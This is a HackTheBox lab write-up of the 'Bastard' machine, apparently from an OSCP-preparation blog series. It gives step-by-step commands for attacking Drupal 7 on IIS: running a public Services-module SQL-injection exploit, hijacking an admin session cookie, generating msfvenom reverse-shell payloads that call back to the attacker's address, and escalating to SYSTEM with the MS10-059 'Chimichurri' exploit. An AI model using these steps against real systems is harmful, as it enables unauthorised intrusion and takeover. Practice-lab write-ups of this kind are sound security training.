HacktheBox - Bastard Writeup

26/10/2019

Zero to OSCP Hero Writeup #10 - Bastard

Reconnaissance

1. Nmap Scan - TCP Scan

Let's start with a TCP scan of the target ip address to determine which ports are open and which services are running on those ports:

nmap -sC -sV -oA nmap/initial.tcp 10.10.10.9

  • -sC: Run the default nmap script scan to find potential vulnerabilities
  • -sV: Detect the service version
  • -oA: Output the result of the scan in all formats as nmap/initial.tcp

We have port 80 open, which is running an IIS 7.5 web server which seems to be using Drupal 7 and two RPC ports, 135 and 49154. Although a quick web search of the 49154 port shows that it is normally used for Xsan Filesystem Access. 

2. Nmap Scan - All TCP Ports Scan

Okay, lets scan the entire TCP port range to confirm that there are no other ports open:

nmap -sC -sV -p- -oA nmap/full.tcp 10.10.10.9

  • -sC: Run the default nmap script scan to find potential vulnerabilities
  • -sV: Detect the service version
  • -p-: Run the nmap scan against all ports
  • -oA: Output the result of the scan in all formats as nmap/full.tcp

The full TCP scan confirmed that there are no addional ports open.

3. Nmap Scan - All UDP Ports Scan

We can do the same full port scan, but with the UDP ports:

nmap -sU -p- -oA nmap/full.udp 10.10.10.9

  • -sU: Run the scan against UDP ports
  • -p-: Run the nmap scan against all ports
  • -oA: Output the result of the scan in all formats as nmap/full.tcp

The full UDP scan confirmed that there are no additional ports open.  

Enumeration

Again, it seems that Port 80 will be our route into the target machine...

1. Port 80 Enumeration 

When we browse to 10.10.10.9 we are greeted with a not yet finished webpage and a user login section and confirmation that Drupal is being used for the content management of the website.  

After trying different basic combinations of credentials, and trying to create a new account, it didnt seem to be exploitable. 

So I ran gobuster to see if there are any hidden directories that could be useful: 

gobuster dir -u https://10.10.10.9 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

Nothing of note was found on the directories that we could access, unfortunatly admin was 403 forbidden. 

2. Enumerating Drupal with droopescan

I found this awesome Drupal enumeration tool called droopescan to search the website for possible vulnerabilities or interesting directories and files. 

Firstly we need to clone the tool from github: 

git clone https://github.com/droope/droopescan

Then we need to install the tool using pip:

apt-get install python-pip

pip install droopescan

Once we have done that, we can then run the scan.. It may take some time! 

droopescan scan drupal -u https://10.10.10.9


So from the scan, we see that our Drupal version is likely to be 7.54 along with poissible interesting default URLs and plugins were found.   

3. Checking for public Drupal exploits

As we saw in the nmap scan and the droopescan, we know that the web server is running Drupal version 7.54 so lets see if there are any public exploits for it: 

searchsploit drupal 7

There were quite a few exploits available for dupal version 7 with many 'drupalgeddon' exploits, but those were not created until after this machine was release on htb, meaning the most likely intended method is the Module Services RCE exploit. 

This exploit, takes advantage of an SQL Injection to get the contents of the cache, admin creds and hash then alters the cache to allow us to write to a file, then restore the cache afterwards.

Initial Foothold - User

1. Editing and Running Drupal Exploit 

Lets copy the exploit to our working directory:

searchsploit -m exploits/php/webapps/41564.php

As with many exploit code, this one needs some tinkering. We need to change the $url to match with the machine ip address, but also the $endpoint_path is looking for the /rest_endpoint directory:

And if we try and browse to 10.10.10.9/rest_endpoint we get, page not found.

But if we change it to 10.10.10.9/rest we get a better result: 

So lets change the exploit to /rest:

nano 41564.php

Now we can run the exploit!

php 41564.php 

as it says, the exploit created a new file in drupal and created two .json files. 

cat session.json

So as we can see, it gives us the session name, id and token. This is what comprises the cookie needed to gain access to the admin panel, so we need to edit the sesison.json file like this - "session_name=session_id;token=token_value"

nano session.json

We can now try and access the admin panel with the created cookie. Firstly, lets see what happens when we browse to 10.10.10.9/admin:

So we are currently denied access.

Press F12 to bring up the developer tools bar, then click on console. This is where we want to enter our created cookie: 

document.cookie = "SESSd873f....gqqysHY"

Now when we refresh our broswer tab to /admin, we now have access to the admin panel! 

2. Gain a session via a reverse shell on the machine via netcat 

Now that we have access to the admin panel, we now need a way to gain access to the machine, possinly through a reverse shell uploaded via the panel? 

Lets see if google can help us: 

Bingo! This webpage has walkthrough on how to get a reverse shell through the admin panel. 

Firstly we need to click on the module tab then scroll down to the PHP filter module, enable it then save the configuration. 

Next, we need to click the permissions tab that is now visible next to PHP filter to give the administrator rights to use the PHP code text format. 

We again need to save the configuration. 

Now that we have given the administrator rights to create php text files, lets create a new page that contains a php reverse shell! 

Click on the content tab then the add content tab:

We will now create a basic page that will contain our php reverse shell: 

I normally use the php reverse shell from pentestmonkey, but i couldnt get it to work so instead, im going to utilise msfvenom to create my own php reverse shell:

msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.23 LPORT=9002 -f raw > revshell.php

Paste the contents of the created php code into the body of the basic page, but remove the /* before <?php and add ?> to the end of the code. 

Change the text format to PHP code. 

Start a netcat listener:

nc -lvnp 9002 

Now click the preview button, we should now see a connection back on our netcat listener! 

Lets make the connection fully interactive: 

https://forum.hackthebox.eu/discussion/142/obtaining-a-fully-interactive-shell

So we do get a connection back from the machine, but when i enter any command, it drops the connection. 

3. Attempting to get a stable php reverse shell through /multi/handler 

Because the use of metasploits /exploit/multi/handler is allowed throught the OSCP exam, im going to see if i can keep the connection that way. 

Start metasploit: 

msfconsole 

Locate exploit/multi/handler:

use exploit/multi/handler

set payload php/meterpreter/reverse_tcp

set lport 9002

set lhost 10.10.14.23

run

Now that we have set up our handler, lets again try and run the php reverse shell code....

and we have a stable connecton to the machine! 

As our meterpreter shell is currently a php/windows session, we need to upgrade this to a x64 windows meterpreter shell. 

To do this, we will again utilise msfvenom to create a x64 windows executable payload:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.23 LPORT=9004 -f exe > exploit.exe

We can use the meterpreter session to upload our created executable to the bastard machine: 

upload exploit.exe 

We now need to create a new multi/handler session:

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp

set lport 9004

set lhost 10.10.14.23

run -j 

Now we can execute the exploit.exe payload from our php/windows meterpreter session: 

sessions -i <id>

execute -f exploit.exe 

And we now have a new x64 windows meterpreter session! 

We were able to grab the user.txt flag inside the user Dimitris' Desktop folder:

Privilege Escalation - Root

Now that we have an initial foothold on the machine, its time to find possible routes to root, and to help with this, im going to use the reliable windows exploit suggester tool! 

1. Windows Exploit Suggester

For the tool to work, we need to grab the contents of the systeminfo command from the bastard machine and copy it to our attacker machine: 

systeminfo 

Now we can use wes.py found here to scan through a list of possible vulnerabilties: 

wes.py systeminfo.txt

So this produced a list of over 200 possible vulnerabilities... but as we know the machine is an x64 Windows 2008 R2 Server, it was easier to find potential exploits, like this one: MS10-059

MS10-059 exploits a local privilege escalation vulnerabilitiy which enables an attacker to run arbitrary code with SYSTEM privileges. 

After looking on google, it seems that the ms10-059 exploit is called 'Chimichurri' and with that, i found a github page that has this exploit pre compiled. 

Download the chimichurri.exe to our attacker machine and upload it via our meterpreter session to a writeable file on the bastard machine, i chose the Public/documents folder. 

Upload Chimichurri.exe  

Start a netcat listener:

nc -lvnp 9006

Enter a command shell of the machine and execute the exploit file:

shell

Chimichurri.exe 10.10.14.23 9006 

We have a connection on our netcat listener! Lets see what level of privileges we now have: 

whoami & hostname

We are now SYSTEM! This means we can grab the root.txt flag: 

What did I learn from Bastard?

Keeping up to date with patches and updates is critical! 

Conclusion

Thanks for reading! Next up is Box #11 - Beep!